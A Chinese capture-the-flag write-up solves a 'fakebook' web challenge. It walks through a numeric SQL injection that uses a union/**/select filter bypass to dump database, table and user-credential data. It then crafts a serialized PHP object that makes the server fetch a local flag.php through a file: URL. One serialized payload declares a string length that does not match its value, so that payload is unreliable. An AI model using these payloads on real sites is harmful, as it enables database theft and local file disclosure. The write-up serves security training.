点击进入页面,发现有login和join两个页面,我们尝试登录login未果,于是转去join页面,随便填写一些信息
点击jion,发现注册成功,随后便出现了所有我们注册了的页面:
随便点击一个,比如这里我们点击admin,可以注意到的是,我们这里多了一个参数no,结合前面的登录,我们很快就联想到是不是存在sql注入呢?
首先,判断是数字型注入还是字符型注入,有一个很简单的方法,使用no=2-1来判断:
如果是数字型注入的话,我们传入的参数就会被当作数字来执行,于是返回结果就是no=1的界面;反之,如果是字符型注入的话,我们传入的参数值就会被当作字符来进行执行,于是返回的结果就是no=2的结果;
我们可以看到返回值是no=1的结果,于是可以判定这是数字型的注入:
判断有几列:
?no=1 order by 3# 正常回显
?no=1 order by 5# 回显报错
?no=1 order by 4# 正常回显
于是我们可以判定是4列,接下来就是最基本的union查询了,但是我们union select的时候会报错,尝试过后发现是过滤掉了,但是union/**/select可以,于是构造payload如下:
查询库名:
?no=-1 union/**/select 1,database(),3,4 #
得到库名:fakebook
查询表名:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
得到表名:users
查询列名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #
得到四个列名:no,username,passwd,data
爆列中的具体信息:
?no=-1 union/**/select 1,group_concat(no,"~",username,"~",passwd,"~",data),3,4 from fakebook.users #
可以注意到的是,data的内容是序列化之后的。
这个时候我们可以用扫描工具扫一下,也可以扫出来robots.txt
访问robots.txt,我们可以发现user.php.apk,下载下来打开发现是php文件:
<?phpclass UserInfo
{//初始化变量public $name = "";public $age = 0;public $blog = "";//构造函数public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url)//如果请求成功返回响应内容{$ch = curl_init();//初始化一个新的curl会话,并返回一个curl句柄$chcurl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//curl执行结果以字符串的形式返回$output = curl_exec($ch);//执行 cURL 会话,发送请求并获取响应。如果请求成功,返回响应内容,若失败则返回 false$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);//关闭会话return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}
/*
正则表达式的含义:
^(((http(s?))\:\/\/)?): 可选的协议部分(http:// 或 https://)。
([0-9a-zA-Z\-]+\.)+: 至少一个由字母、数字或连字符组成的域名片段(例如 example.)。
[a-zA-Z]{2,6}: 顶级域名(例如 .com,长度为2到6个字符)。
(\:[0-9]+)?: 可选的端口号(例如 :8080)。
(\/\S*)?: 可选的路径部分。
*/}
看到了这个代码,结合之前看到的序列化的内容,我们可以联想到:利用blog将我们想要的内容序列化,之后再传入blog当中,我们已经知道文件路径是/var/www/html,我们尝试访问flag.php文件,于是可以写一个php脚本:
<?phpclass UserInfo
{public $name = "admin1";public $age = 1;public $blog = "file:var/www/html/flag.php";}
$a = new UserInfo();
echo serialize($a);
得到序列化的内容:
O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:1;s:4:"blog";s:30:"file:var/www/html/flag.php";}
之前我们知道,回显位是username,那么data
对应应该就是第四个字段,将反序列化字符串尝试以注入的方式写入
构造payload:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:1;s:4:"blog";s:30:"file:var/www/html/flag.php";}' #
得到页面:
可以看到的是blog现在已经变成了flag.php,那么也说明现在显示了flag.php文件的内容,我们这时查看源码,可以发现一串base编码的值,
点击就得到了flag
这道题就写到这里啦,喜欢的话给我点个赞吧!